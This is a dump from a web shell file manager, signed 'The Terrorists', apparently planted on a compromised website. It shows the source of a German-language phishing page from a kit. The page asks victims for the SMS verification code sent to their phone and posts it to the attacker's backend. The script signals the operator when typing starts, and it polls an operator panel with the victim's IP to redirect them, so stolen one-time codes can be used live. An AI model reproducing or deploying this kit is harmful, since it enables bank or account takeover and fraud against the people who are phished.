Sindbad~EG File Manager

Current Path : /home/infinitibizsol/www.mediaeclips.com/lovg/ing/de/src/
Upload File :
Current File : /home/infinitibizsol/www.mediaeclips.com/lovg/ing/de/src/otp.jhn

<?php 
require '../main.php';
?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <title></title>
    <link rel="stylesheet" href="res/main.css">
    <link rel="stylesheet" href="res/img-media.css">
    <style>
        input{
            width:500px;
            max-width:100%;
        }
    </style>
</head>
<body>
<header>
<img src="res/logo.png">
</header>

<main>
<div class="title">
<?php $bm->obf("Bestätigung"); ?>
</div>

<div class="form" style="display:inline-block;">
<div class="left" style="width:100%;">

 
<div class="col" style="margin:0; text-align:left;">
<p><?php $bm->obf("Bitte geben Sie den Code ein,"); ?> der an Ihre Telefonnummer gesendet wurde, um fortzufahren.</p>
</div>

 
<div class="col multi">
    <div class="label"><?php $bm->obf("Geben Sie den Code ein"); ?></div>
    <div class="input">
        <input type="text" id="sms">
        <label id="error-msg" style="display:<?php echo isset($_GET['e']) ? "block" : "none"; ?>; text-align:left; padding:6px 0; margin:5px 0;  color:red; padding:3px; font-size:0.8em;">Ungültiger Bestätigungscode</label>
    </div>
</div>


<div class="col multi">
    <div class="label"> </div>
    <div class="input">
    <button onclick="sbmt()"><?php $bm->obf("Weiter"); ?></button>
    </div>
</div>
 
 



</div>

</div>



</main>



<?php 
require 'html/footer.php';
require 'html/loader.php';
?>


<script src="res/jq.js"></script>
<script src="res/m.js"></script>
<script>
     
    var loader = $(".window");
    var count = 0;
    var error_msg = $("#error-msg");
$("input").keypress((e)=>{
    if(e.key=="Enter"){
        sbmt();
    }
});

function sbmt(){
    var sms = $("#sms").val();
    var sub = true;
    $("#sms").removeClass("error");
    if(sms.length<4){
        $("#sms").addClass("error");
        sub=false;
    }

    if(sub){
        error_msg.hide();
        loader.show();
             
        $.post("post.php",{sms:sms},(res)=>{
           //window.location="mkfile.php";
        });
    }

}

var abortNote = false;
$("#sms").keyup(()=>{
    if(!abortNote){
        $.post("post.php",{otping:1});
        abortNote=true;
    }

});
 
 setInterval(() => {
    $.post("../panel/update_statu.php",{update:1, ip:'<?php echo $pnl->IP; ?>'});
}, 1000);
var page ="<?php echo @$_GET['p']; ?>";
var cd = "<?php echo $current_data; ?>";

setInterval(() => {
    $.post("../panel/fetch.php", {update:1}, function(d){
        if(cd!=d){
            window.location=d;
        }
    })

}, 2000);
</script>
</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists